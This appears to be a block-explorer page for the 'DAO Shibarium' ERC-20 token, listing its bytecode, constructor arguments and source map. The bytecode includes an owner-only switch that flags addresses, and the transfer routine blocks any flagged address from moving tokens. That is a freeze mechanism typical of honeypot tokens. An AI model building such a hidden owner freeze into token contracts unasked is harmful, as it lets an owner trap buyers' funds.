5b838111156113ee576000848401525b50505050565b6000600282049050600182168061140c57607f821691505b602082108114156114205761141f611455565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6116ca8161136c565b81146116d557600080fd5b50565b6116e1816113aa565b81146116ec57600080fd5b5056fea264697066735822122067fb036603d7fd8912508b381f294b5b6e99f82ea75be0169d9765e52171a5c464736f6c63430008010033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000006c6b935b8bbd400000000000000000000000000000000000000000000000000000000000000000000d44414f2053686962617269756d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000844414f5368696261000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063402810ba1161008c5780639d346ac4116100665780639d346ac41461023c578063a457c2d714610258578063a9059cbb14610288578063dd62ed3e146102b8576100cf565b8063402810ba146101be57806370a08231146101ee57806395d89b411461021e576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063395093511461018e575b600080fd5b6100dc6102e8565b6040516100e991906111a2565b60405180910390f35b61010c60048036038101906101079190610fcd565b61037a565b6040516101199190611187565b60405180910390f35b61012a610398565b60405161013791906112c4565b60405180910390f35b61015a60048036038101906101559190610f7e565b6103a2565b6040516101679190611187565b60405180910390f35b610178610499565b60405161018591906112df565b60405180910390f35b6101a860048036038101906101a39190610fcd565b6104a8565b6040516101b59190611187565b60405180910390f35b6101d860048036038101906101d39190610f19565b610553565b6040516101e59190611187565b60405180910390f35b61020860048036038101906102039190610f19565b6105a9565b60405161021591906112c4565b60405180910390f35b6102266105f2565b60405161023391906111a2565b60405180910390f35b61025660048036038101906102519190610f19565b610684565b005b610272600480360381019061026d9190610fcd565b6107ef565b60405161027f9190611187565b60405180910390f35b6102a2600480360381019061029d9190610fcd565b6108d9565b6040516102af9190611187565b60405180910390f35b6102d260048036038101906102cd9190610f42565b6108f7565b6040516102df91906112c4565b60405180910390f35b6060600480546102f7906113f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610323906113f4565b80156103705780601f1061034557610100808354040283529160200191610370565b820191906000526020600020905b81548152906001019060200180831161035357829003601f168201915b5050505050905090565b600061038e61038761097d565b8484610985565b6001905092915050565b6000600754905090565b60006103af848484610b4f565b60008060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103f961097d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610479576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047090611224565b60405180910390fd5b61048d8561048561097d565b858403610985565b60019150509392505050565b60006104a3610ebd565b905090565b60006105496104b561097d565b84846000806104c261097d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105449190611316565b610985565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054610601906113f4565b80601f016020809104026020016040519081016040528092919081815260200182805461062d906113f4565b801561067a5780601f1061064f5761010080835404028352916020019161067a565b820191906000526020600020905b81548152906001019060200180831161065d57829003601f168201915b5050505050905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106de57600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610794576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506107ec565b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000806000806107fd61097d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b1906112a4565b60405180910390fd5b6108ce6108c561097d565b85858403610985565b600191505092915050565b60006108ed6108e661097d565b8484610b4f565b6001905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90611284565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c906111e4565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b4291906112c4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb690611244565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c26906111c4565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610cd05750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610d195760008114610d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0f90611264565b60405180910390fd5b5b610d24838383610ee5565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da290611204565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e409190611316565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ea491906112c4565b60405180910390a3610eb7848484610eea565b50505050565b60007f0000000000000000000000000000000000000000000000000000000000000009905090565b505050565b505050565b600081359050610efe816116c1565b92915050565b600081359050610f13816116d8565b92915050565b600060208284031215610f2b57600080fd5b6000610f3984828501610eef565b91505092915050565b60008060408385031215610f5557600080fd5b6000610f6385828601610eef565b9250506020610f7485828601610eef565b9150509250929050565b600080600060608486031215610f9357600080fd5b6000610fa186828701610eef565b9350506020610fb286828701610eef565b9250506040610fc386828701610f04565b9150509250925092565b60008060408385031215610fe057600080fd5b6000610fee85828601610eef565b9250506020610fff85828601610f04565b9150509250929050565b6110128161137e565b82525050565b6000611023826112fa565b61102d8185611305565b935061103d8185602086016113c1565b61104681611484565b840191505092915050565b600061105e602383611305565b915061106982611495565b604082019050919050565b6000611081602283611305565b915061108c826114e4565b604082019050919050565b60006110a4602683611305565b91506110af82611533565b604082019050919050565b60006110c7602883611305565b91506110d282611582565b604082019050919050565b60006110ea602583611305565b91506110f5826115d1565b604082019050919050565b600061110d600083611305565b915061111882611620565b600082019050919050565b6000611130602483611305565b915061113b82611623565b604082019050919050565b6000611153602583611305565b915061115e82611672565b604082019050919050565b611172816113aa565b82525050565b611181816113b4565b82525050565b600060208201905061119c6000830184611009565b92915050565b600060208201905081810360008301526111bc8184611018565b905092915050565b600060208201905081810360008301526111dd81611051565b9050919050565b600060208201905081810360008301526111fd81611074565b9050919050565b6000602082019050818103600083015261121d81611097565b9050919050565b6000602082019050818103600083015261123d816110ba565b9050919050565b6000602082019050818103600083015261125d816110dd565b9050919050565b6000602082019050818103600083015261127d81611100565b9050919050565b6000602082019050818103600083015261129d81611123565b9050919050565b600060208201905081810360008301526112bd81611146565b9050919050565b60006020820190506112d96000830184611169565b92915050565b60006020820190506112f46000830184611178565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611321826113aa565b915061132c836113aa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561136157611360611426565b5b828201905092915050565b60006113778261138a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156113df5780820151818401526020810190506113c4565b838111156113ee576000848401525b50505050565b6000600282049050600182168061140c57607f821691505b602082108114156114205761141f611455565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6116ca8161136c565b81146116d557600080fd5b50565b6116e1816113aa565b81146116ec57600080fd5b5056fea264697066735822122067fb036603d7fd8912508b381f294b5b6e99f82ea75be0169d9765e52171a5c464736f6c63430008010033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000006c6b935b8bbd400000000000000000000000000000000000000000000000000000000000000000000d44414f2053686962617269756d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000844414f5368696261000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): DAO Shibarium
Arg [1] : symbol_ (string): DAOShiba
Arg [2] : decimals_ (uint8): 9
Arg [3] : _totalSupply_ (uint256): 2000000000000000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000006c6b935b8bbd400000
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [5] : 44414f2053686962617269756d00000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [7] : 44414f5368696261000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

17941:412:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7881:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9159:204;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8348:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10050:479;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18243:107;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11832:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8464:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8209:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7989:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8630:285;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11032:387;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8927:224;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9371:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7881:100;7935:13;7968:5;7961:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7881:100;:::o;9159:204::-;9283:4;9296:39;9305:12;:10;:12::i;:::-;9319:7;9328:6;9296:8;:39::i;:::-;9351:4;9344:11;;9159:204;;;;:::o;8348:108::-;8409:7;8436:12;;8429:19;;8348:108;:::o;10050:479::-;10205:4;10222:36;10232:6;10240:9;10251:6;10222:9;:36::i;:::-;10269:24;10296:11;:19;10308:6;10296:19;;;;;;;;;;;;;;;:33;10316:12;:10;:12::i;:::-;10296:33;;;;;;;;;;;;;;;;10269:60;;10368:6;10348:16;:26;;10340:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;10441:57;10450:6;10458:12;:10;:12::i;:::-;10491:6;10472:16;:25;10441:8;:57::i;:::-;10517:4;10510:11;;;10050:479;;;;;:::o;18243:107::-;18301:5;18326:16;:14;:16::i;:::-;18319:23;;18243:107;:::o;11832:215::-;11920:4;11937:80;11946:12;:10;:12::i;:::-;11960:7;12006:10;11969:11;:25;11981:12;:10;:12::i;:::-;11969:25;;;;;;;;;;;;;;;:34;11995:7;11969:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;11937:8;:80::i;:::-;12035:4;12028:11;;11832:215;;;;:::o;8464:154::-;8556:4;8580:11;:30;8592:17;8580:30;;;;;;;;;;;;;;;;;;;;;;;;;8573:37;;8464:154;;;:::o;8209:127::-;8283:7;8310:9;:18;8320:7;8310:18;;;;;;;;;;;;;;;;8303:25;;8209:127;;;:::o;7989:104::-;8045:13;8078:7;8071:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7989:104;:::o;8630:285::-;8742:8;;;;;;;;;;;8728:22;;:10;:22;;;8720:31;;;;;;8798:4;8764:38;;:11;:30;8776:17;8764:30;;;;;;;;;;;;;;;;;;;;;;;;;:38;;;8759:149;;;8844:5;8811:11;:30;8823:17;8811:30;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;8759:149;;;8902:4;8869:11;:30;8881:17;8869:30;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;8759:149;8630:285;:::o;11032:387::-;11125:4;11142:24;11169:11;:25;11181:12;:10;:12::i;:::-;11169:25;;;;;;;;;;;;;;;:34;11195:7;11169:34;;;;;;;;;;;;;;;;11142:61;;11242:15;11222:16;:35;;11214:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11321:67;11330:12;:10;:12::i;:::-;11344:7;11372:15;11353:16;:34;11321:8;:67::i;:::-;11407:4;11400:11;;;11032:387;;;;:::o;8927:224::-;9062:4;9079:42;9089:12;:10;:12::i;:::-;9103:9;9114:6;9079:9;:42::i;:::-;9139:4;9132:11;;8927:224;;;;:::o;9371:197::-;9508:7;9533:11;:18;9545:5;9533:18;;;;;;;;;;;;;;;:27;9552:7;9533:27;;;;;;;;;;;;;;;;9526:34;;9371:197;;;;:::o;5556:98::-;5609:7;5636:10;5629:17;;5556:98;:::o;15354:378::-;15507:1;15490:19;;:5;:19;;;;15482:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15588:1;15569:21;;:7;:21;;;;15561:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15670:6;15640:11;:18;15652:5;15640:18;;;;;;;;;;;;;;;:27;15659:7;15640:27;;;;;;;;;;;;;;;:36;;;;15708:7;15692:32;;15701:5;15692:32;;;15717:6;15692:32;;;;;;:::i;:::-;;;;;;;;15354:378;;;:::o;12537:801::-;12696:1;12678:20;;:6;:20;;;;12660:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;12781:1;12760:23;;:9;:23;;;;12742:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;12839:11;:19;12851:6;12839:19;;;;;;;;;;;;;;;;;;;;;;;;;:54;;;;12871:11;:22;12883:9;12871:22;;;;;;;;;;;;;;;;;;;;;;;;;12839:54;12825:105;;;12924:1;12914:6;:11;12895:35;;;;;;;;;;;;:::i;:::-;;;;;;;;;12825:105;12932:47;12953:6;12961:9;12972:6;12932:20;:47::i;:::-;12990:21;13014:9;:17;13024:6;13014:17;;;;;;;;;;;;;;;;12990:41;;13067:6;13050:13;:23;;13042:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;13174:6;13158:13;:22;13138:9;:17;13148:6;13138:17;;;;;;;;;;;;;;;:42;;;;13216:6;13192:9;:20;13202:9;13192:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;13255:9;13238:35;;13247:6;13238:35;;;13266:6;13238:35;;;;;;:::i;:::-;;;;;;;;13284:46;13304:6;13312:9;13323:6;13284:19;:46::i;:::-;12537:801;;;;:::o;17702:100::-;17760:5;17785:9;17778:16;;17702:100;:::o;17060:125::-;;;;:::o;16336:124::-;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:109::-;2030:21;2045:5;2030:21;:::i;:::-;2025:3;2018:34;2008:50;;:::o;2064:364::-;;2180:39;2213:5;2180:39;:::i;:::-;2235:71;2299:6;2294:3;2235:71;:::i;:::-;2228:78;;2315:52;2360:6;2355:3;2348:4;2341:5;2337:16;2315:52;:::i;:::-;2392:29;2414:6;2392:29;:::i;:::-;2387:3;2383:39;2376:46;;2156:272;;;;;:::o;2434:366::-;;2597:67;2661:2;2656:3;2597:67;:::i;:::-;2590:74;;2673:93;2762:3;2673:93;:::i;:::-;2791:2;2786:3;2782:12;2775:19;;2580:220;;;:::o;2806:366::-;;2969:67;3033:2;3028:3;2969:67;:::i;:::-;2962:74;;3045:93;3134:3;3045:93;:::i;:::-;3163:2;3158:3;3154:12;3147:19;;2952:220;;;:::o;3178:366::-;;3341:67;3405:2;3400:3;3341:67;:::i;:::-;3334:74;;3417:93;3506:3;3417:93;:::i;:::-;3535:2;3530:3;3526:12;3519:19;;3324:220;;;:::o;3550:366::-;;3713:67;3777:2;3772:3;3713:67;:::i;:::-;3706:74;;3789:93;3878:3;3789:93;:::i;:::-;3907:2;3902:3;3898:12;3891:19;;3696:220;;;:::o;3922:366::-;;4085:67;4149:2;4144:3;4085:67;:::i;:::-;4078:74;;4161:93;4250:3;4161:93;:::i;:::-;4279:2;4274:3;4270:12;4263:19;;4068:220;;;:::o;4294:364::-;;4457:66;4521:1;4516:3;4457:66;:::i;:::-;4450:73;;4532:93;4621:3;4532:93;:::i;:::-;4650:1;4645:3;4641:11;4634:18;;4440:218;;;:::o;4664:366::-;;4827:67;4891:2;4886:3;4827:67;:::i;:::-;4820:74;;4903:93;4992:3;4903:93;:::i;:::-;5021:2;5016:3;5012:12;5005:19;;4810:220;;;:::o;5036:366::-;;5199:67;5263:2;5258:3;5199:67;:::i;:::-;5192:74;;5275:93;5364:3;5275:93;:::i;:::-;5393:2;5388:3;5384:12;5377:19;;5182:220;;;:::o;5408:118::-;5495:24;5513:5;5495:24;:::i;:::-;5490:3;5483:37;5473:53;;:::o;5532:112::-;5615:22;5631:5;5615:22;:::i;:::-;5610:3;5603:35;5593:51;;:::o;5650:210::-;;5775:2;5764:9;5760:18;5752:26;;5788:65;5850:1;5839:9;5835:17;5826:6;5788:65;:::i;:::-;5742:118;;;;:::o;5866:313::-;;6017:2;6006:9;6002:18;5994:26;;6066:9;6060:4;6056:20;6052:1;6041:9;6037:17;6030:47;6094:78;6167:4;6158:6;6094:78;:::i;:::-;6086:86;;5984:195;;;;:::o;6185:419::-;;6389:2;6378:9;6374:18;6366:26;;6438:9;6432:4;6428:20;6424:1;6413:9;6409:17;6402:47;6466:131;6592:4;6466:131;:::i;:::-;6458:139;;6356:248;;;:::o;6610:419::-;;6814:2;6803:9;6799:18;6791:26;;6863:9;6857:4;6853:20;6849:1;6838:9;6834:17;6827:47;6891:131;7017:4;6891:131;:::i;:::-;6883:139;;6781:248;;;:::o;7035:419::-;;7239:2;7228:9;7224:18;7216:26;;7288:9;7282:4;7278:20;7274:1;7263:9;7259:17;7252:47;7316:131;7442:4;7316:131;:::i;:::-;7308:139;;7206:248;;;:::o;7460:419::-;;7664:2;7653:9;7649:18;7641:26;;7713:9;7707:4;7703:20;7699:1;7688:9;7684:17;7677:47;7741:131;7867:4;7741:131;:::i;:::-;7733:139;;7631:248;;;:::o;7885:419::-;;8089:2;8078:9;8074:18;8066:26;;8138:9;8132:4;8128:20;8124:1;8113:9;8109:17;8102:47;8166:131;8292:4;8166:131;:::i;:::-;8158:139;;8056:248;;;:::o;8310:419::-;;8514:2;8503:9;8499:18;8491:26;;8563:9;8557:4;8553:20;8549:1;8538:9;8534:17;8527:47;8591:131;8717:4;8591:131;:::i;:::-;8583:139;;8481:248;;;:::o;8735:419::-;;8939:2;8928:9;8924:18;8916:26;;8988:9;8982:4;8978:20;8974:1;8963:9;8959:17;8952:47;9016:131;9142:4;9016:131;:::i;:::-;9008:139;;8906:248;;;:::o;9160:419::-;;9364:2;9353:9;9349:18;9341:26;;9413:9;9407:4;9403:20;9399:1;9388:9;9384:17;9377:47;9441:131;9567:4;9441:131;:::i;:::-;9433:139;;9331:248;;;:::o;9585:222::-;;9716:2;9705:9;9701:18;9693:26;;9729:71;9797:1;9786:9;9782:17;9773:6;9729:71;:::i;:::-;9683:124;;;;:::o;9813:214::-;;9940:2;9929:9;9925:18;9917:26;;9953:67;10017:1;10006:9;10002:17;9993:6;9953:67;:::i;:::-;9907:120;;;;:::o;10033:99::-;;10119:5;10113:12;10103:22;;10092:40;;;:::o;10138:169::-;;10256:6;10251:3;10244:19;10296:4;10291:3;10287:14;10272:29;;10234:73;;;;:::o;10313:305::-;;10372:20;10390:1;10372:20;:::i;:::-;10367:25;;10406:20;10424:1;10406:20;:::i;:::-;10401:25;;10560:1;10492:66;10488:74;10485:1;10482:81;10479:2;;;10566:18;;:::i;:::-;10479:2;10610:1;10607;10603:9;10596:16;;10357:261;;;;:::o;10624:96::-;;10690:24;10708:5;10690:24;:::i;:::-;10679:35;;10669:51;;;:::o;10726:90::-;;10803:5;10796:13;10789:21;10778:32;;10768:48;;;:::o;10822:126::-;;10899:42;10892:5;10888:54;10877:65;;10867:81;;;:::o;10954:77::-;;11020:5;11009:16;;10999:32;;;:::o;11037:86::-;;11112:4;11105:5;11101:16;11090:27;;11080:43;;;:::o;11129:307::-;11197:1;11207:113;11221:6;11218:1;11215:13;11207:113;;;11306:1;11301:3;11297:11;11291:18;11287:1;11282:3;11278:11;11271:39;11243:2;11240:1;11236:10;11231:15;;11207:113;;;11338:6;11335:1;11332:13;11329:2;;;11418:1;11409:6;11404:3;11400:16;11393:27;11329:2;11178:258;;;;:::o;11442:320::-;;11523:1;11517:4;11513:12;11503:22;;11570:1;11564:4;11560:12;11591:18;11581:2;;11647:4;11639:6;11635:17;11625:27;;11581:2;11709;11701:6;11698:14;11678:18;11675:38;11672:2;;;11728:18;;:::i;:::-;11672:2;11493:269;;;;:::o;11768:180::-;11816:77;11813:1;11806:88;11913:4;11910:1;11903:15;11937:4;11934:1;11927:15;11954:180;12002:77;11999:1;11992:88;12099:4;12096:1;12089:15;12123:4;12120:1;12113:15;12140:102;;12232:2;12228:7;12223:2;12216:5;12212:14;12208:28;12198:38;;12188:54;;;:::o;12248:222::-;12388:34;12384:1;12376:6;12372:14;12365:58;12457:5;12452:2;12444:6;12440:15;12433:30;12354:116;:::o;12476:221::-;12616:34;12612:1;12604:6;12600:14;12593:58;12685:4;12680:2;12672:6;12668:15;12661:29;12582:115;:::o;12703:225::-;12843:34;12839:1;12831:6;12827:14;12820:58;12912:8;12907:2;12899:6;12895:15;12888:33;12809:119;:::o;12934:227::-;13074:34;13070:1;13062:6;13058:14;13051:58;13143:10;13138:2;13130:6;13126:15;13119:35;13040:121;:::o;13167:224::-;13307:34;13303:1;13295:6;13291:14;13284:58;13376:7;13371:2;13363:6;13359:15;13352:32;13273:118;:::o;13397:114::-;13503:8;:::o;13517:223::-;13657:34;13653:1;13645:6;13641:14;13634:58;13726:6;13721:2;13713:6;13709:15;13702:31;13623:117;:::o;13746:224::-;13886:34;13882:1;13874:6;13870:14;13863:58;13955:7;13950:2;13942:6;13938:15;13931:32;13852:118;:::o;13976:122::-;14049:24;14067:5;14049:24;:::i;:::-;14042:5;14039:35;14029:2;;14088:1;14085;14078:12;14029:2;14019:79;:::o;14104:122::-;14177:24;14195:5;14177:24;:::i;:::-;14170:5;14167:35;14157:2;;14216:1;14213;14206:12;14157:2;14147:79;:::o

Swarm Source

ipfs://67fb036603d7fd8912508b381f294b5b6e99f82ea75be0169d9765e52171a5c4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.